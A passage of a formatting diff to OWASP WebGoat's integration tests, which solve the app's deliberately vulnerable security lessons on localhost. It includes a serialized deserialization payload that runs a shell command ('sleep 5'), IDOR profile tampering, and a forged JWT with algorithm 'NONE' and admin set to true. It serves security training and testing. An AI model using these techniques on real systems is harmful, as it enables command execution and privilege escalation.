.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/crypto/encoding/basic"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
.asString();
|
.asString();
|
||||||
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
||||||
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
||||||
@ -75,11 +77,25 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private void checkAssignment4() throws NoSuchAlgorithmException {
|
private void checkAssignment4() throws NoSuchAlgorithmException {
|
||||||
|
|
||||||
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
String md5Hash =
|
||||||
.get(url("/crypto/hashing/md5")).then().extract().asString();
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/crypto/hashing/md5"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
String sha256Hash =
|
||||||
.get(url("/crypto/hashing/sha256")).then().extract().asString();
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/crypto/hashing/sha256"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String answer_1 = "unknown";
|
String answer_1 = "unknown";
|
||||||
String answer_2 = "unknown";
|
String answer_2 = "unknown";
|
||||||
@ -101,13 +117,15 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
||||||
|
|
||||||
String privatePEM = RestAssured.given()
|
String privatePEM =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/crypto/signing/getprivate"))
|
.get(url("/crypto/signing/getprivate"))
|
||||||
.then()
|
.then()
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
||||||
|
|
||||||
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
||||||
@ -122,7 +140,12 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private void checkAssignmentDefaults() {
|
private void checkAssignmentDefaults() {
|
||||||
|
|
||||||
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
|
String text =
|
||||||
|
new String(
|
||||||
|
Base64.getDecoder()
|
||||||
|
.decode(
|
||||||
|
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
|
||||||
|
.getBytes(Charset.forName("UTF-8"))));
|
||||||
|
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -130,5 +153,4 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
params.put("secretFileName", "default_secret");
|
params.put("secretFileName", "default_secret");
|
||||||
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,12 +1,11 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||||
|
|
||||||
public class DeserializationIntegrationTest extends IntegrationTest {
|
public class DeserializationIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@ -20,15 +19,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
|
|
||||||
if (OS.indexOf("win") > -1) {
|
if (OS.indexOf("win") > -1) {
|
||||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
params.put(
|
||||||
|
"token",
|
||||||
|
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||||
} else {
|
} else {
|
||||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
params.put(
|
||||||
|
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||||
}
|
}
|
||||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
||||||
|
|
||||||
checkResults("/InsecureDeserialization/");
|
checkResults("/InsecureDeserialization/");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
params.put(
|
params.put(
|
||||||
"question_0_solution",
|
"question_0_solution",
|
||||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
|
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
|
||||||
|
+ " website.");
|
||||||
params.put(
|
params.put(
|
||||||
"question_1_solution",
|
"question_1_solution",
|
||||||
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
||||||
|
@ -1,13 +1,14 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
import io.restassured.http.ContentType;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.hamcrest.MatcherAssert;
|
import org.hamcrest.MatcherAssert;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
@ -15,10 +16,6 @@ import org.junit.jupiter.api.BeforeEach;
|
|||||||
import org.junit.jupiter.api.DynamicTest;
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
import org.junit.jupiter.api.TestFactory;
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
import io.restassured.http.ContentType;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
public class IDORIntegrationTest extends IntegrationTest {
|
public class IDORIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
@ -30,9 +27,7 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
@TestFactory
|
@TestFactory
|
||||||
Iterable<DynamicTest> testIDORLesson() {
|
Iterable<DynamicTest> testIDORLesson() {
|
||||||
return Arrays.asList(
|
return Arrays.asList(
|
||||||
dynamicTest("login",()-> loginIDOR()),
|
dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
|
||||||
dynamicTest("profile", () -> profile())
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
@ -47,9 +42,7 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
params.put("username", "tom");
|
params.put("username", "tom");
|
||||||
params.put("password", "cat");
|
params.put("password", "cat");
|
||||||
|
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void profile() {
|
private void profile() {
|
||||||
@ -61,7 +54,9 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/IDOR/profile"))
|
.get(url("/WebGoat/IDOR/profile"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("userId"), CoreMatchers.is("2342384"));
|
.extract()
|
||||||
|
.path("userId"),
|
||||||
|
CoreMatchers.is("2342384"));
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("attributes", "userId,role");
|
params.put("attributes", "userId,role");
|
||||||
@ -78,21 +73,24 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/IDOR/profile/2342388"))
|
.get(url("/WebGoat/IDOR/profile/2342388"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
|
|
||||||
MatcherAssert.assertThat(
|
MatcherAssert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.contentType(ContentType.JSON) //part of the lesson
|
.contentType(ContentType.JSON) // part of the lesson
|
||||||
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
|
.body(
|
||||||
|
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
|
||||||
|
+ " \"userId\":\"2342388\"}")
|
||||||
.put(url("/WebGoat/IDOR/profile/2342388"))
|
.put(url("/WebGoat/IDOR/profile/2342388"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,32 +1,32 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static io.restassured.RestAssured.given;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Objects;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.hamcrest.MatcherAssert;
|
import org.hamcrest.MatcherAssert;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
import static io.restassured.RestAssured.given;
|
|
||||||
|
|
||||||
public abstract class IntegrationTest {
|
public abstract class IntegrationTest {
|
||||||
|
|
||||||
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
||||||
|
|
||||||
@Getter
|
@Getter
|
||||||
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
||||||
|
|
||||||
private static boolean useSSL = false;
|
private static boolean useSSL = false;
|
||||||
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
private static String webgoatUrl =
|
||||||
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
||||||
@Getter
|
private static String webWolfUrl =
|
||||||
private String webGoatCookie;
|
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
||||||
@Getter
|
@Getter private String webGoatCookie;
|
||||||
private String webWolfCookie;
|
@Getter private String webWolfCookie;
|
||||||
@Getter
|
@Getter private final String user = "webgoat";
|
||||||
private String user = "webgoat";
|
|
||||||
|
|
||||||
protected String url(String url) {
|
protected String url(String url) {
|
||||||
url = url.replaceFirst("/WebGoat/", "");
|
url = url.replaceFirst("/WebGoat/", "");
|
||||||
@ -44,17 +44,21 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
public void login() {
|
public void login() {
|
||||||
String location = given()
|
String location =
|
||||||
|
given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login"))
|
||||||
|
.then()
|
||||||
.cookie("JSESSIONID")
|
.cookie("JSESSIONID")
|
||||||
.statusCode(302)
|
.statusCode(302)
|
||||||
.extract().header("Location");
|
.extract()
|
||||||
|
.header("Location");
|
||||||
if (location.endsWith("?error")) {
|
if (location.endsWith("?error")) {
|
||||||
webGoatCookie = RestAssured.given()
|
webGoatCookie =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
@ -68,18 +72,22 @@ public abstract class IntegrationTest {
|
|||||||
.extract()
|
.extract()
|
||||||
.cookie("JSESSIONID");
|
.cookie("JSESSIONID");
|
||||||
} else {
|
} else {
|
||||||
webGoatCookie = given()
|
webGoatCookie =
|
||||||
|
given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login"))
|
||||||
|
.then()
|
||||||
.cookie("JSESSIONID")
|
.cookie("JSESSIONID")
|
||||||
.statusCode(302)
|
.statusCode(302)
|
||||||
.extract().cookie("JSESSIONID");
|
.extract()
|
||||||
|
.cookie("JSESSIONID");
|
||||||
}
|
}
|
||||||
|
|
||||||
webWolfCookie = RestAssured.given()
|
webWolfCookie =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
@ -94,12 +102,7 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
public void logout() {
|
public void logout() {
|
||||||
RestAssured.given()
|
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
|
||||||
.when()
|
|
||||||
.relaxedHTTPSValidation()
|
|
||||||
.get(url("logout"))
|
|
||||||
.then()
|
|
||||||
.statusCode(200);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void startLesson(String lessonName) {
|
public void startLesson(String lessonName) {
|
||||||
@ -136,7 +139,9 @@ public abstract class IntegrationTest {
|
|||||||
.post(url)
|
.post(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||||
@ -149,36 +154,46 @@ public abstract class IntegrationTest {
|
|||||||
.put(url)
|
.put(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
|
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
|
||||||
|
// only required to be in the same package)
|
||||||
public void checkResults(String prefix) {
|
public void checkResults(String prefix) {
|
||||||
checkResults();
|
checkResults();
|
||||||
|
|
||||||
MatcherAssert.assertThat(RestAssured.given()
|
MatcherAssert.assertThat(
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath()
|
||||||
|
.getList("assignment.path"),
|
||||||
|
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkResults() {
|
public void checkResults() {
|
||||||
var result = RestAssured.given()
|
var result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.andReturn();
|
.andReturn();
|
||||||
|
|
||||||
MatcherAssert.assertThat(result.then()
|
MatcherAssert.assertThat(
|
||||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
result.then().statusCode(200).extract().jsonPath().getList("solved"),
|
||||||
|
CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
|
public void checkAssignment(
|
||||||
|
String url, ContentType contentType, String body, boolean expectedResult) {
|
||||||
MatcherAssert.assertThat(
|
MatcherAssert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
@ -189,7 +204,9 @@ public abstract class IntegrationTest {
|
|||||||
.post(url)
|
.post(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||||
@ -202,17 +219,23 @@ public abstract class IntegrationTest {
|
|||||||
.get(url)
|
.get(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getWebWolfFileServerLocation() {
|
public String getWebWolfFileServerLocation() {
|
||||||
String result = RestAssured.given()
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/file-server-location"))
|
.get(webWolfUrl("/file-server-location"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
@ -224,8 +247,9 @@ public abstract class IntegrationTest {
|
|||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/server-directory"))
|
.get(url("/server-directory"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,5 +1,16 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.databind.JsonNode;
|
||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||||
|
import io.jsonwebtoken.Header;
|
||||||
|
import io.jsonwebtoken.JwsHeader;
|
||||||
|
import io.jsonwebtoken.Jwt;
|
||||||
|
import io.jsonwebtoken.JwtException;
|
||||||
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.SignatureAlgorithm;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
import java.security.InvalidKeyException;
|
import java.security.InvalidKeyException;
|
||||||
@ -10,23 +21,9 @@ import java.util.Calendar;
|
|||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.hamcrest.MatcherAssert;
|
import org.hamcrest.MatcherAssert;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.JsonNode;
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
|
||||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
|
||||||
|
|
||||||
import io.jsonwebtoken.Header;
|
|
||||||
import io.jsonwebtoken.JwsHeader;
|
|
||||||
import io.jsonwebtoken.Jwt;
|
|
||||||
import io.jsonwebtoken.JwtException;
|
|
||||||
import io.jsonwebtoken.Jwts;
|
|
||||||
import io.jsonwebtoken.SignatureAlgorithm;
|
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
||||||
|
|
||||||
public class JWTLessonIntegrationTest extends IntegrationTest {
|
public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||||
@ -61,7 +58,8 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.claim("username", "WebGoat")
|
.claim("username", "WebGoat")
|
||||||
.claim("Email", "tom@webgoat.org")
|
.claim("Email", "tom@webgoat.org")
|
||||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||||
.signWith(SignatureAlgorithm.HS256, key).compact();
|
.signWith(SignatureAlgorithm.HS256, key)
|
||||||
|
.compact();
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getSecretToken(String token) {
|
private String getSecretToken(String token) {
|
||||||
@ -86,19 +84,23 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/JWT/decode"))
|
.post(url("/WebGoat/JWT/decode"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||||
|
|
||||||
String accessToken = RestAssured.given()
|
String accessToken =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String secret = getSecretToken(accessToken);
|
String secret = getSecretToken(accessToken);
|
||||||
|
|
||||||
@ -111,36 +113,43 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/JWT/secret"))
|
.post(url("/WebGoat/JWT/secret"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void resetVotes() throws IOException {
|
private void resetVotes() throws IOException {
|
||||||
String accessToken = RestAssured.given()
|
String accessToken =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||||
.then()
|
.then()
|
||||||
.extract().cookie("access_token");
|
.extract()
|
||||||
|
.cookie("access_token");
|
||||||
|
|
||||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||||
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
ObjectMapper mapper = new ObjectMapper();
|
ObjectMapper mapper = new ObjectMapper();
|
||||||
JsonNode headerNode = mapper.readTree(header);
|
JsonNode headerNode = mapper.readTree(header);
|
||||||
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
|
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||||
|
|
||||||
JsonNode bodyObject = mapper.readTree(body);
|
JsonNode bodyObject = mapper.readTree(body);
|
||||||
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
|
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
||||||
|
|
||||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
String replacedToken =
|
||||||
|
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||||
.concat(".")
|
.concat(".")
|
||||||
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
|
.concat(
|
||||||
.concat(".").replace("=", "");
|
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
|
||||||
|
